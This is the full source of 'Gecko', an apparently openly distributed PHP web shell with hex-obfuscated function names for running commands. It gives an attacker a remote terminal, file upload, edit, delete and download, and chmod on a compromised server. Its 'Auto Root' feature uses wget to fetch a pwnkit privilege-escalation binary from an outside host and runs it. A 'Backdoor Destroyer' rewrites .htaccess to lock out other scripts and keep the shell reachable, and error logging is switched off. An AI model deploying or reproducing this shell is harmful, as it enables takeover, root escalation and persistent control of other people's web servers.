1<?php
2session_start();
3$Array = [
4 '7368656c6c5f65786563',
5 '65786563',
6 '7061737374687275',
7 '73797374656d',
8 '70726f635f6f70656e',
9 '706f70656e',
10 '70636c6f7365',
11 '72657475726e',
12 '73747265616d5f6765745f636f6e74656e7473',
13 '676574637764', // g e t c w d => 9
14 '6368646972', // c h d i r => 10
15 '7068705f756e616d65', // p h p _ u n a m e => 11
16 '6973736574',
17 '66756e6374696f6e5f657869737473',
18 '5f6d61645f636d64',
19 '245f5345525645525b275345525645525f4e414d45275d',
20 '676c6f62', // g l o b => 16
21 '69735f66696c65', // i s _ f i l e => 17
22 '69735f646972', // i s _ d i r => 18
23 '69735f7772697461626c65', // i s _ w r i t e a b l e => 19
24 '69735f7265616461626c65', // i s _ r e a d b l e => 20
25 '66696c6573697a65', // f i l e _ s i z e => 21
26 '6765745f63757272656e745f75736572', // user => 22
27 '5345525645525f534f465457415245', // Server Software => 23
28 '66696c656d74696d65', // f i l e m t i m e => 24
29 '746f756368', // t o u c h => 25
30 '6d6b646972', // m k d i r => 26
31 '66696c655f6765745f636f6e74656e7473', // f i l e g e t c o n t e n t s => 27
32 '66696c655f7075745f636f6e74656e7473', // f i l e p u t => 28
33 '726d646972', // r m d i r => 29
34 '756e6c696e6b', // u n l i n k => 30
35 '66696c65', // f i l e => 31
36 '6d756c7469706172742f666f726d2d64617461', // m u l t i p a r t / f o r m d a t a => 32
37 '444f43554d454e545f524f4f54', // r o o t d o c => 33
38 '68747470733a2f2f7777772e6861786f726469736c616e642e746563682f6c6f63616c726f6f742f70776e6b6974' // Source maybe? => 34
39];
40$hitung_array = count($Array);
41for ($i = 0; $i < $hitung_array; $i++) {
42 $fungsi[] = unhex($Array[$i]);
43}
44
45if (!empty($_GET['download'])) {
46 $nameNyafile = basename($_GET['download']);
47 $pathFilenya = $fungsi[9]() . "/" . $nameNyafile;
48 if (!empty($nameNyafile) && file_exists($pathFilenya)) {
49
50 // Define Headers
51 header('Cache-control: public');
52 header('Content-Description: File Transfer');
53 header('Content-Type: application/octet-stream');
54 header('Content-Disposition: attachment; filename="' . $nameNyafile . '"');
55 header('Content-Transfer-Encoding: binary');
56 /**ZHNnc2RmZ2VydHNkZmdzZGZnc2RmZ3NkZmdzZGZn**/
57 readfile($pathFilenya);
58 exit;
59 }
60}
61
62
63?>
64
65<!DOCTYPE html>
66<html lang="en">
67
68<head>
69 <meta charset="UTF-8">
70 <title>Gecko [ <?= $_SERVER['HTTP_HOST']; ?> ]</title>
71 <link rel="shortcut icon" href="logo.png" type="image/x-icon">
72 <script src='https://kit.fontawesome.com/057b9b510c.js' crossorigin='anonymous'></script>
73 <style>
74 @import url('https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap');
75
76 body {
77 font-family: monospace;
78 background-color: #1A1A1D;
79 color: white;
80 }
81
82 a {
83 text-decoration: none;
84 color: white;
85 }
86
87 tr th {
88 text-align: center;
89 font-weight: bold;
90 padding: 10px;
91 }
92
93 tr td:nth-child(3) {
94 text-align: center;
95 }
96
97 tr td {
98 padding: 10px;
99 font-weight: bold;
100 }
101
102 thead {
103 background-color: #29292e;
104 color: white;
105 }
106
107 ul {
108 list-style: none;
109 }
110
111 ul li {
112 font-weight: bold;
113 }
114
115 h1 {
116 font-family: 'Nanum Brush Script', cursive;
117
118 }
119
120 tbody tr:nth-child(even) {
121 background: #29292e;
122 }
123
124 .pwd {
125 padding: 5px;
126 background-color: #29292e;
127 }
128
129 form li {
130 margin: 15px;
131 margin-left: -5px;
132 }
133
134 form li input[type="file"] {
135 border: 1px solid;
136 padding: 3.5px 4px;
137 background-color: #29292e;
138 color: white;
139 border-radius: 5px;
140 }
141
142 .upload-submit {
143 float: left;
144 padding: 6.4px 50px;
145 margin-right: 10px;
146 font-weight: bold;
147 background-color: #29292e;
148 border: none;
149 color: #1e9fc7;
150 box-shadow: 1.5px 1.5px #303038;
151 border-radius: 3px;
152 }
153
154 .upload-submit:hover {
155 background-color: #d5dbd6;
156 color: black;
157 }
158
159 .link-shell:hover::after {
160 content: "";
161 border-bottom: 2px solid white;
162 display: block;
163 padding-bottom: 5px;
164 margin-bottom: -7px;
165 animation-name: link-shell;
166 animation-duration: 0.6s;
167 }
168
169 @keyframes link-shell {
170 from {
171 width: 0;
172 }
173
174 to {
175 width: 100%;
176 }
177 }
178
179 .tool-menu li {
180 display: inline-block;
181 font-weight: none;
182 padding: 13px 7px;
183 }
184
185 .tool-menu li a {
186 padding: 7px 30px;
187 color: #1e9fc7;
188 background-color: #29292e;
189 border-radius: 3px;
190 box-shadow: 1.5px 1.5px #303038;
191 }
192
193 .tool-menu li a:hover {
194 background-color: #d5dbd6;
195 color: black;
196 box-shadow: 1.5px 1.5px #d5dbd6;
197 }
198
199 .list-tool {
200 padding: 1px;
201 }
202
203 .settings {
204 float: right;
205 position: relative;
206 margin-top: -200px;
207
208 }
209
210 .settings select {
211 padding: 5.5px 35px;
212 background-color: #303038;
213 border: none;
214 color: white;
215 border-radius: 4px;
216 }
217
218 .select-submit {
219 padding: 6.5px 50px;
220 margin-right: 10px;
221 background-color: #303038;
222 border: none;
223 color: white;
224 border-radius: 4px;
225 }
226
227 .select-submit:hover {
228 background-color: #d5dbd6;
229 color: black;
230 }
231
232 .action-gecko:hover {
233 background-color: #d5dbd6;
234 color: black;
235 }
236
237 .tool-menu-header {
238 margin: -13px 0px;
239 }
240
241 .create {
242 background-color: rgba(0, 0, 0, 0.3);
243 position: fixed;
244 display: flex;
245 align-items: center;
246 justify-content: center;
247 top: 0;
248 left: 0;
249 height: 100vh;
250 width: 100vw;
251 animation: modal-box;
252 animation-duration: 0.5s;
253 animation-fill-mode: both;
254
255 }
256
257 @keyframes modal-box {
258 from {
259 opacity: 0;
260 }
261
262 to {
263 opacity: 1;
264 }
265 }
266
267 .modal {
268 border-radius: 10px;
269 background-color: white;
270 color: black;
271 width: 600px;
272 max-width: 100%;
273 padding: 18px;
274 }
275
276 .modal a {
277 background-color: #29292e;
278 padding: 8px 15px;
279 border-radius: 3px;
280 }
281
282 .modal ul {
283 float: right;
284 }
285
286 .modal ul li {
287 display: inline;
288 }
289
290 .btn-modal {
291 background-color: #29292e;
292 color: white;
293 border-radius: 3px;
294 padding: 8px 15px;
295 border: none;
296 }
297
298 .modal input[type="text"] {
299 width: 100%;
300 height: 30px;
301 border-radius: 3px;
302 border: 1px solid black;
303 }
304
305 .fw-bold {
306 font-weight: bold;
307 }
308
309 .file-size {
310 color: #1e9fc7;
311 }
312
313 th {
314 color: #1e9fc7;
315 }
316
317 .fa-folder {
318 color: orange;
319 }
320
321 .fa-file {
322 color: #1e9fc7;
323 }
324
325 .terminal-content {
326 z-index: 10;
327 position: fixed;
328 top: 0;
329 left: 0;
330 right: 0;
331 bottom: 0;
332 width: 100%;
333 height: 100vh;
334 background-color: rgba(0, 0, 0, 0.5);
335 animation: modal-box;
336 animation-duration: 0.5s;
337 animation-fill-mode: both;
338 font-weight: bold;
339 }
340
341 .terminal-body {
342 margin: auto;
343 margin-top: 60px;
344 z-index: 20;
345 width: 90%;
346 background: white;
347 height: 65vh;
348 color: black;
349 border-radius: 5px;
350 }
351
352 .terminal-body header {
353 text-align: center;
354 padding: 4px;
355 background: #1A1A1D;
356 color: white;
357 }
358
359 .terminal-body header a {
360 float: right;
361 color: black;
362 font-size: large;
363 background-color: white;
364 position: relative;
365 z-index: 11;
366 border-radius: 5px;
367 margin-top: -45px;
368 padding: 10px 30px;
369 }
370
371 .terminal-body header a:hover {
372 background-color: #29292e;
373 color: white;
374 border: 1px solid #303038;
375 }
376
377 .output-terminal {
378 width: 99.5%;
379 height: 100%;
380 color: black;
381 background-color: white;
382 }
383
384 .terminal-input {
385 width: 90%;
386 padding: 6px;
387 margin-left: 1px;
388 border: none;
389 border-bottom: 2px solid black;
390 }
391
392 .terminal-submit {
393 margin: 2.5px;
394 padding: 7.5px 25px;
395 background-color: black;
396 color: white;
397 border: none;
398 border-radius: 3px;
399 }
400
401 .pwd-body {
402 padding: 15px 8px;
403 font-weight: bold;
404 }
405
406
407 .border {
408 border: 1px solid black;
409 border-radius: 2px;
410 }
411
412 .file-box {
413 position: fixed;
414 width: 100%;
415 height: 100vh;
416 top: 0;
417 bottom: 0;
418 left: 0;
419 right: 0;
420 background-color: rgba(0, 0, 0, 0.5);
421 z-index: 1;
422 }
423
424 .file-content {
425 width: 90%;
426 background-color: white;
427 height: 70%;
428 margin: auto;
429 margin-top: 20px;
430 color: black;
431 }
432
433 .file-content textarea {
434 width: 99.5%;
435 height: 70vh;
436 }
437
438 .file-header {
439 background-color: #1A1A1D;
440 padding: 15px;
441 }
442
443 .file-header ul {
444 list-style: none;
445 }
446
447 .file-header li {
448 display: inline-block;
449 margin: 0px 30px;
450 }
451
452 .file-header li:nth-child(3) {
453 float: right;
454 margin-right: -5px;
455 }
456
457 .file-header li:nth-child(3) a {
458 color: black;
459 font-size: large;
460 background-color: white;
461 z-index: 11;
462 border-radius: 5px;
463 padding: 10px 30px;
464 }
465
466 .file-header li:nth-child(3) a:hover {
467 background-color: #29292e;
468 color: white;
469 border: 1px solid #303038;
470 }
471
472 .file-header li button {
473 color: black;
474 cursor: pointer;
475 font-weight: bold;
476 background: white;
477 font-size: 15px;
478 border: 1px solid white;
479 padding: 10px 15px;
480 margin: -10px -15px;
481 border-radius: 5px;
482 }
483
484 .link-rename {
485 padding: 10px 15px;
486 border: 1px solid white;
487 background-color: white;
488 color: black;
489 border-radius: 5px;
490 margin: -10px -15px;
491 }
492 </style>
493</head>
494<?php
495@set_time_limit(0);
496@clearstatcache();
497@ini_set('error_log', NULL);
498@ini_set('log_errors', 0);
499@ini_set('max_execution_time', 0);
500@ini_set('output_buffering', 0);
501@ini_set('display_errors', 0);
502
503
504function Redirect($url, $permanent = false)
505{
506 header('Location: ' . $url, true, $permanent ? 301 : 302);
507
508 exit();
509}
510
511
512
513if (isset($_GET['dir'])) {
514 $cdir = unhex($_GET['dir']);
515 $fungsi[10]($cdir);
516} else {
517 $cdir = $fungsi[9]();
518}
519$get_cwd = $fungsi[9]();
520$scdir = $fungsi[16]("{.[!.],}*", GLOB_BRACE);
521
522?>
523
524<body>
525 <div class="list-shell">
526 <ul>
527 <li><?= $fungsi[11](); ?></li>
528 <li><?= $_SERVER[$fungsi[23]]; ?></li>
529 <li>Server IP : <?= $_SERVER['SERVER_ADDR']; ?> & Your IP : <?= $_SERVER['REMOTE_ADDR']; ?></li>
530 <li>Domains : <?= symlinkDomain(); ?></li>
531 <li>
532 User : <?= $fungsi[22](); ?>
533 </li>
534 <form action="" method="post" enctype="<?= $fungsi[32] ?>">
535 <li><input type="file" name="gecko-file" id=""><input type="submit" class="upload-submit" name="upload-submit" value="Upload"></li>
536 </form>
537 </ul>
538 <div class="tool-menu-header">
539 <div class="list-tool">
540 <ul class="tool-menu">
541 <li><a href="?dir=<?= hex($fungsi[9]()); ?>&action=terminal" class=""><i class="fa-solid fa-terminal"></i> Terminal</a></li>
542 <li><a href="?dir=<?= hex($fungsi[9]()); ?>&action=root-terminal" class=""><i class="fa-solid fa-code"></i> Auto Root</a></li>
543 <li><a href="?dir=<?= hex($fungsi[9]()); ?>&create=file" class=""><i class="fa-solid fa-file-circle-plus"></i> Create File</a></li>
544 <li><a href="?dir=<?= hex($fungsi[9]()); ?>&create=folder" class=""><i class="fa-solid fa-folder-plus"></i> Create Folder</a></li>
545 <li><a href="https://www.exploit-db.com/search?q=Linux%20Kernel%20<?= linux_version(); ?>" class=""><i class="fa-solid fa-bug"></i> Localroot Suggester</a></li>
546 <li><a href="?dir=<?= hex($fungsi[9]()); ?>&backdoor=true" class=""><i class="fa-solid fa-virus"></i> Backdoor Destroyer</a></li>
547 <li><a href="https://github.com/MadExploits/Gecko/" class=""><i class="fa-solid fa-book"></i> Readme</a></li>
548 </ul>
549 </div>
550 </div>
551 <br>
552 </div>
553 <div class="border">
554 <div class="pwd">
555 <form action="" method="post">
556 <div class="pwd-body">
557 <?php
558 $cwd = str_replace("\\", "/", $get_cwd); // untuk dir garis windows
559 $pwd = explode("/", $cwd);
560 foreach ($pwd as $id => $val) {
561 if ($val == '' && $id == 0) {
562 echo '<a href="?dir=' . hex('/') . '"><i class="fa-solid fa-folder-plus"></i> / </a>';
563 continue;
564 }
565 if ($val == '') continue;
566 echo '<a href="?dir=';
567 for ($i = 0; $i <= $id; $i++) {
568 echo hex($pwd[$i]);
569 if ($i != $id) echo hex("/");
570 }
571 echo '">' . $val . ' / ' . '</a>';
572 }
573 ?>
574 </div>
575 <div class="settings">
576 <select name="action-gecko" id="" class="action-gecko">
577 <option value="delete">Delete</option>
578 <option value="unzip">Unzip</option>
579 </select>
580 <input type="submit" class="select-submit" value="Submit" name="gecko-submit">
581 </div>
582 </div>
583 <table style="width:100%;">
584 <thead>
585 <tr>
586 <th>Name</th>
587 <th>Size</th>
588 <th>Permission</th>
589 <th>Date</th>
590 <th>Action</th>
591 </tr>
592 </thead>
593 <tbody>
594 <!-- FOLDER NYA -->
595 <?php foreach ($scdir as $dir) : ?>
596 <?php if ($fungsi[18]($dir)) : ?>
597 <tr>
598 <td>
599 <input type="checkbox" name="check-gecko[]" id="folder" value="<?= $dir; ?>"> <label for="folder"><i class="fa-solid fa-folder"></i> <a href="?dir=<?= hex($cwd . "/" . $dir); ?>" class="link-shell"><?= $dir; ?></a>
600 </td>
601 <td>[ DIR ]</td>
602 <td><?php if ($fungsi[19]($fungsi[9]() . '/' . $dir)) echo '<font color="#00ff00">';
603 elseif (!$fungsi[20]($fungsi[9]() . '/' . $dir)) echo '<font color="red">';
604 echo perms($fungsi[9]() . '/' . $dir);
605 ?>
606 </td>
607 <td>
608 <?php echo date(
609 "Y-m-d H:i",
610 $fungsi[24]($dir)
611 ); ?>
612 </td>
613 <td>
614 <a href="?dir=<?= hex($fungsi[9]()) ?>&rename=<?= $dir ?>"><i class="fa-solid fa-file-pen"></i></a> <a href="?dir=<?= hex($fungsi[9]()) ?>&chmod=<?= $dir ?>"><i class="fa-solid fa-user-pen"></i></a>
615 </td>
616 </tr>
617 <?php endif; ?>
618 <?php endforeach; ?>
619 <!-- FILE NYA -->
620 <?php foreach ($scdir as $_file) : ?>
621 <?php if ($fungsi[17]($_file)) : ?>
622 <tr>
623 <td>
624 <input type="checkbox" name="check-gecko[]" id="folder" value="<?= $_file; ?>"> <label for="folder"><i class="fa-regular fa-file"></i> <a href="?dir=<?= hex($cwd . "/"); ?>&f=<?= $_file; ?>" class="link-shell"><?= $_file; ?></a>
625 </td>
626 <td><?= formatSize($fungsi[21]($_file)); ?></td>
627 <td>
628 <?php if ($fungsi[19]($fungsi[9]() . '/' . $_file)) {
629 echo '<font color="#00ff00">';
630 } elseif (!$fungsi[20]($fungsi[9]() . '/' . $_file)) {
631 echo '<font color="red">';
632 }
633 echo perms($fungsi[9]() . '/' . $_file);
634 ?>
635 </td>
636 <td>
637 <?php echo date(
638 "Y-m-d H:i",
639 $fungsi[24]($_file)
640 ); ?>
641 </td>
642 <td>
643 <a href="?dir=<?= hex($fungsi[9]()) ?>&rename=<?= $_file ?>"><i class="fa-solid fa-file-pen"></i></a> <a href="?dir=<?= hex($fungsi[9]()) ?>&download=<?= $_file ?>"><i class="fa-solid fa-download"></i></a> <a href="?dir=<?= hex($fungsi[9]()) ?>&chmod=<?= $_file ?>"><i class="fa-solid fa-user-pen"></i></a>
644 </td>
645 </tr>
646 <?php endif; ?>
647 <?php endforeach; ?>
648 </tbody>
649 </table>
650 </div>
651 <br>
652 </form>
653 <?php
654 if ($_GET['create'] == True) :
655 ?>
656 <div class="create">
657 <div class="modal">
658 <?php if ($_GET['create'] == "file") : ?>
659 <header>
660 <h2><?= '<i class="fa-solid fa-file-circle-plus"></i> Create File'; ?></h2>
661 </header>
662 <form action="" method="post">
663 <input type="text" name="create_file" id="" placeholder=" Nama File">
664 <?php elseif ($_GET['create'] == "folder") : ?>
665 <header>
666 <h2><?= '<i class="fa-solid fa-folder-plus"> </i>Create Folder'; ?></h2>
667 </header>
668 <form action="" method="post">
669 <input type="text" name="create_folder" id="" placeholder=" Nama Folder">
670 <?php endif; ?>
671 <ul>
672 <li><input type="submit" name="submit-modal" class="btn-modal fw-bold" value="Submit"></li>
673 <li><a href="?dir=<?= hex($fungsi[9]()); ?>">Close</a></li>
674 </ul>
675 </form>
676 </div>
677 </div>
678 <?php endif; ?>
679 <?php
680 if ($_GET['action'] == "terminal") :
681 ?>
682 <div class="terminal-content">
683 <div class="terminal">
684 <div class="terminal-body">
685 <header>
686 <h3><i class="fa-solid fa-terminal"></i> </h3>
687 <a href="?dir=<?= hex($fungsi[9]()); ?>"><i class="fa-solid fa-xmark"></i></a>
688 </header>
689 <form action="" method="post">
690 <center>
691 <input type="text" placeholder="uname -a" name="terminal" class="terminal-input" autofocus>
692 <input type="submit" value=">" name="submit-terminal" class="terminal-submit">
693 </center>
694 </form>
695 <?php if (isset($_POST['submit-terminal'])) : ?>
696 <textarea class="output-terminal" disabled><?= htmlspecialchars($fungsi[14]($_POST['terminal'] . " 2>&1")); ?></textarea>
697 <?php endif; ?>
698 </div>
699 </div>
700 </div>
701 <?php endif; ?>
702 <?php if ($_GET['action'] == "root-terminal") : ?>
703 <div class="terminal-content">
704 <div class="terminal">
705 <div class="terminal-body">
706 <header>
707 <h3><i class="fa-solid fa-terminal"></i> </h3>
708 <a href="?dir=<?= hex($fungsi[9]()); ?>"><i class="fa-solid fa-xmark"></i></a>
709 </header>
710 <form action="" method="post">
711 <center>
712 <input type="text" placeholder="root@terminal~#" name="terminal-root" class="terminal-input" autofocus>
713 <input type="submit" value=">" name="submit-root" class="terminal-submit">
714 </center>
715 </form>
716 <?php if (isset($_POST['submit-root'])) : ?>
717 <textarea class="output-terminal" disabled>
718<?php
719 $terminal = $_POST['terminal-root'];
720 if ($terminal == "root") {
721 echo "[+] Downloading The source \n";
722 echo $fungsi[14]("wget " . $fungsi[34] . " --no-check-certificate");
723 echo "[!] Chmod file pwnkit....\n";
724 echo $fungsi[14]("chmod +x pwnkit");
725 echo "[+] Testing if this kernel vulnerable...\n";
726 echo $fungsi[14]('./pwnkit "id" >> mad-pwnkit');
727 $check_vulnerable = $fungsi[27]($fungsi[9]() . "/mad-pwnkit");
728 $explode_mad_pwkit = explode(" ", $check_vulnerable);
729 if ($explode_mad_pwkit[0] == "uid=0(root)") {
730 echo "[~] This Kernel is vulnerable congrats!\n";
731 } else {
732 echo "[!] This kernel is not Vulnerable Sorry :)";
733 return;
734 }
735 echo "[+] Giving Permission on mad-pwnkit\n";
736 echo $fungsi[14]("chmod +x mad-pwnkit");
737 if (!$fungsi[14]('./pwnkit "id"')) {
738 echo "[!] Cannot running pwnkit";
739 } else {
740 echo "[!] Done Sir. now u can running on root user!";
741 exit;
742 }
743 }
744 echo htmlspecialchars($fungsi[14]('./pwnkit "' . $terminal . '"'));
745?>
746 </textarea>
747 <?php endif; ?>
748 </div>
749 </div>
750 </div>
751 <?php endif; ?>
752 <?php
753 if (isset($_POST['submit-modal'])) {
754 if ($_POST['create_file']) {
755 $file = $_POST['create_file'];
756 if ($fungsi[25]($file)) {
757 echo success();
758 } else {
759 echo failed();
760 }
761 } elseif ($_POST['create_folder']) {
762 $folder = $_POST['create_folder'];
763 if ($fungsi[26]($folder)) {
764 echo success();
765 } else {
766 echo failed();
767 }
768 }
769 } ?>
770 <br>
771 <?php
772 if (isset($_GET['f'])) :
773 ?>
774 <div class="file-box">
775 <div class="file-content">
776 <form action="" method="post">
777 <div class="file-header">
778 <ul>
779 <li><button type="submit" name="submit-file"><i class="fa-regular fa-floppy-disk"></i> Save</button></li>
780 <li><a href="?dir=<?= hex($fungsi[9]()) ?>&rename=<?= $_GET['f'] ?>" class="link-rename"><i class="fa-solid fa-pen-to-square"></i> Rename</a></li>
781 <li> <a href="?dir=<?= hex($fungsi[9]()); ?>"><i class="fa-solid fa-xmark"></i></a></li>
782 </ul>
783 </div>
784 <textarea name="text-file"><?php echo htmlspecialchars($fungsi[27]($_GET['f'])); ?></textarea>
785 </form>
786 </div>
787 </div>
788 <?php endif; ?>
789 <?php if ($_GET['rename'] == True) : ?>
790 <div class="create">
791 <div class="modal">
792 <header>
793 <h2><?= $_GET['rename'] ?></h2>
794 </header>
795 <form action="" method="post">
796 <input type="text" name="rename" id="" placeholder=" File/Folder">
797 <ul>
798 <li><input type="submit" name="submit-rename" class="btn-modal fw-bold" value="Submit"></li>
799 <li><a href="?dir=<?= hex($fungsi[9]()); ?>">Close</a></li>
800 </ul>
801 </form>
802 </div>
803 </div>
804
805 <?php endif; ?>
806 <?php if ($_GET['chmod'] == True) : ?>
807 <div class="create">
808 <div class="modal">
809 <header>
810 <h2><?= $_GET['chmod'] ?></h2>
811 </header>
812 <form action="" method="post">
813 <input type="number" style="width:100%" name="chmod" id="" placeholder=" 775">
814 <ul>
815 <li><input type="submit" name="submit-chmod" class="btn-modal fw-bold" value="Submit"></li>
816 <li><a href="?dir=<?= hex($fungsi[9]()); ?>">Close</a></li>
817 </ul>
818 </form>
819 </div>
820 </div>
821 <?php endif; ?>
822</body>
823
824</html>
825
826<?php
827
828if ($_GET['backdoor'] == True) {
829 // check if htaccess have this code
830 $file_htaccess = $fungsi[27]($_SERVER[$fungsi[33]] . "/htaccess");
831 $cari_code = explode('<', $file_htaccess);
832 if (!end($cari_code) == '/FilesMatch>') {
833 // pengecekan nama file sekarang
834 $namafile = $_SERVER['SCRIPT_FILENAME'];
835 $fileUtama = explode("/", $namafile);
836 $htaccess_text = '
837<FilesMatch ".ph*|Ph*|pH*|PH*">
838 Order Deny,Allow
839 Deny from all
840</FilesMatch>
841<FilesMatch "' . end($fileUtama) . '|index.php|index.html|*.png|.htaccess">
842 Order Deny, Allow
843 Allow from all
844</FilesMatch>';
845 $document_root = $_SERVER[$fungsi[33]];
846 $cmd = $fungsi[14]("echo '" . $htaccess_text . "' >> " . $document_root . "/.htaccess");
847 if ($cmd) {
848 echo success();
849 } else {
850 echo failed();
851 }
852 } else {
853 echo failed();
854 }
855}
856
857if (isset($_POST['submit-chmod'])) {
858 $numberChmod = $_POST['chmod'];
859 $chm_o_d = chmod($fungsi[9] . "/" . $_GET['chmod'], is_int($numberChmod));
860 if ($chm_o_d) {
861 echo success();
862 } else {
863 echo failed();
864 }
865}
866
867if (isset($_POST['upload-submit'])) {
868 $name_file = $_FILES['gecko-file']['name'];
869 $tmp_name = $_FILES['gecko-file']['tmp_name'];
870 $move = move_uploaded_file($tmp_name, __DIR__ . "/" . $name_file);
871 if ($move) {
872 echo success();
873 } else {
874 echo failed();
875 }
876}
877
878if (isset($_POST['submit-rename'])) {
879 $new_name = $_POST['rename'];
880 $re_name = rename($fungsi[9]() . "/" . $_GET['rename'], $new_name);
881 if ($re_name) {
882 echo success();
883 } else {
884 echo failed();
885 }
886}
887
888if (isset($_POST['submit-file'])) {
889 $textarea = $_POST['text-file'];
890 $write = $fungsi[28]($fungsi[9]() . "/" . $_GET['f'], $textarea);
891 if ($write) {
892 echo success();
893 } else {
894 echo failed();
895 }
896}
897
898
899
900if (isset($_POST['gecko-submit'])) {
901 $item = $_POST['check-gecko'];
902 if ($_POST['action-gecko'] == "delete") {
903 foreach ($item as $it) {
904 $repl = str_replace("\\", "/", $fungsi[9]()); // Untuk Windows Path
905 $fd = $repl . "/" . $it;
906 if ($fungsi[18]($fd) || $fungsi[17]($fd)) {
907 $rmdir = unlinkDir($fd);
908 $rmfile = $fungsi[30]($fd);
909 if ($rmdir || $rmfile) {
910 echo success();
911 } else {
912 echo failed();
913 }
914 }
915 }
916 }
917}
918
919function success()
920{
921 return '<meta http-equiv="refresh" content="0;url=?dir=' . hex($GLOBALS['fungsi'][9]()) . '&response=success">';
922}
923function failed()
924{
925 return '<meta http-equiv="refresh" content="0;url=?dir=' . hex($GLOBALS['fungsi'][9]()) . '&response=failed">';
926}
927
928function _mad_cmd($de)
929{
930 $out = '';
931 try {
932 if (function_exists('shell_exec')) {
933 return @$GLOBALS['fungsi'][0]($de);
934 } else if (function_exists('system')) {
935 @$GLOBALS['fungsi'][3]($de);
936 } else if (function_exists('exec')) {
937 $exec = array();
938 @$GLOBALS['fungsi'][1]($de, $exec);
939 $out = @join("\n", $exec);
940 return $exec;
941 } else if (function_exists('passthru')) {
942 @$GLOBALS['fungsi'][2]($de);
943 } else if (function_exists('popen') && function_exists('pclose')) {
944 if (is_resource($f = @$GLOBALS['fungsi'][5]($de, "r"))) {
945 $out = "";
946 while (!@feof($f))
947 $out .= fread($f, 1024);
948 return $out;
949 $GLOBALS['fungsi'][6]($f);
950 }
951 } else if (function_exists('proc_open')) {
952 $pipes = array();
953 $process = @$GLOBALS['fungsi'][4]($de . ' 2>&1', array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), $pipes, null);
954 $out = @$GLOBALS['fungsi'][8]($pipes[1]);
955 return $out;
956 } else if (class_exists('COM')) {
957 $madWs = new COM('WScript.shell');
958 $exec = $madWs->$GLOBALS['fungsi'][1]('cmd.exe /c ' . $_POST['alfa1']);
959 $stdout = $exec->StdOut();
960 $out = $stdout->ReadAll();
961 }
962 } catch (Exception $e) {
963 }
964 return $out;
965}
966
967
968
969function unlinkDir($dir)
970{
971 $dirs = array($dir);
972 $files = array();
973 for ($i = 0;; $i++) {
974 if (isset($dirs[$i]))
975 $dir = $dirs[$i];
976 else
977 break;
978
979 if ($openDir = opendir($dir)) {
980 while ($readDir = @readdir($openDir)) {
981 if ($readDir != "." && $readDir != "..") {
982
983 if ($GLOBALS['fungsi'][18]($dir . "/" . $readDir)) {
984 $dirs[] = $dir . "/" . $readDir;
985 } else {
986
987 $files[] = $dir . "/" . $readDir;
988 }
989 }
990 }
991 }
992 }
993
994
995
996 foreach ($files as $file) {
997 $GLOBALS['fungsi'][30]($file);
998 }
999 $dirs = array_reverse($dirs);
1000 foreach ($dirs as $dir) {
1001 $GLOBALS['fungsi'][29]($dir);
1002 }
1003}
1004
1005function formatSize($bytes)
1006{
1007 $types = array('<span class="file-size">B</span>', '<span class="file-size">KB</span>', '<span class="file-size">MB</span>', '<span class="file-size">GB</span>', '<span class="file-size">TB</span>');
1008 for ($i = 0; $bytes >= 1024 && $i < (count($types) - 1); $bytes /= 1024, $i++);
1009 return (round($bytes, 2) . " " . $types[$i]);
1010}
1011
1012function symlinkDomain()
1013{
1014 $d0mains = @file("/etc/named.conf", false);
1015 if (!$d0mains) {
1016 $dom = "<font color=red size=2px>Cant Read [ /etc/named.conf ]</font>";
1017 $GLOBALS["need_to_update_header"] = "true";
1018 } else {
1019 $count = 0;
1020 foreach ($d0mains as $d0main) {
1021 if (@strstr($d0main, "zone")) {
1022 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1023 flush();
1024 if (strlen(trim($domains[1][0])) > 2) {
1025 flush();
1026 $count++;
1027 }
1028 }
1029 }
1030 $dom = "$count Domain";
1031 }
1032 return $dom;
1033}
1034
1035function linux_version()
1036{
1037 $pecah = explode(" ", $GLOBALS['fungsi'][11]());
1038 $pcah = explode("-", $pecah[2]);
1039 return $pcah[0];
1040}
1041
1042function perms($file)
1043{
1044 $perms = fileperms($file);
1045 if (($perms & 0xC000) == 0xC000) {
1046 // Socket
1047 $info = 's';
1048 } elseif (($perms & 0xA000) == 0xA000) {
1049 // Symbolic Link
1050 $info = 'l';
1051 } elseif (($perms & 0x8000) == 0x8000) {
1052 // Regular
1053 $info = '-';
1054 } elseif (($perms & 0x6000) == 0x6000) {
1055 // Block special
1056 $info = 'b';
1057 } elseif (($perms & 0x4000) == 0x4000) {
1058 // Directory
1059 $info = 'd';
1060 } elseif (($perms & 0x2000) == 0x2000) {
1061 // Character special
1062 $info = 'c';
1063 } elseif (($perms & 0x1000) == 0x1000) {
1064 // FIFO pipe
1065 $info = 'p';
1066 } else {
1067 // Unknown
1068 $info = 'u';
1069 }
1070 // Owner
1071 $info .= (($perms & 0x0100) ? 'r' : '-');
1072 $info .= (($perms & 0x0080) ? 'w' : '-');
1073 $info .= (($perms & 0x0040) ?
1074 (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
1075 // Group
1076 $info .= (($perms & 0x0020) ? 'r' : '-');
1077 $info .= (($perms & 0x0010) ? 'w' : '-');
1078 $info .= (($perms & 0x0008) ?
1079 (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
1080
1081 // World
1082 $info .= (($perms & 0x0004) ? 'r' : '-');
1083 $info .= (($perms & 0x0002) ? 'w' : '-');
1084 $info .= (($perms & 0x0001) ?
1085 (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
1086 return $info;
1087}
1088
1089function hex($n)
1090{
1091 $y = '';
1092 for ($i = 0; $i < strlen($n); $i++) {
1093 $y .= dechex(ord($n[$i]));
1094 }
1095 return $y;
1096}
1097function unhex($y)
1098{
1099 $n = '';
1100 for ($i = 0; $i < strlen($y) - 1; $i += 2) {
1101 $n .= chr(hexdec($y[$i] . $y[$i + 1]));
1102 }
1103 return $n;
1104}
1105?>
1106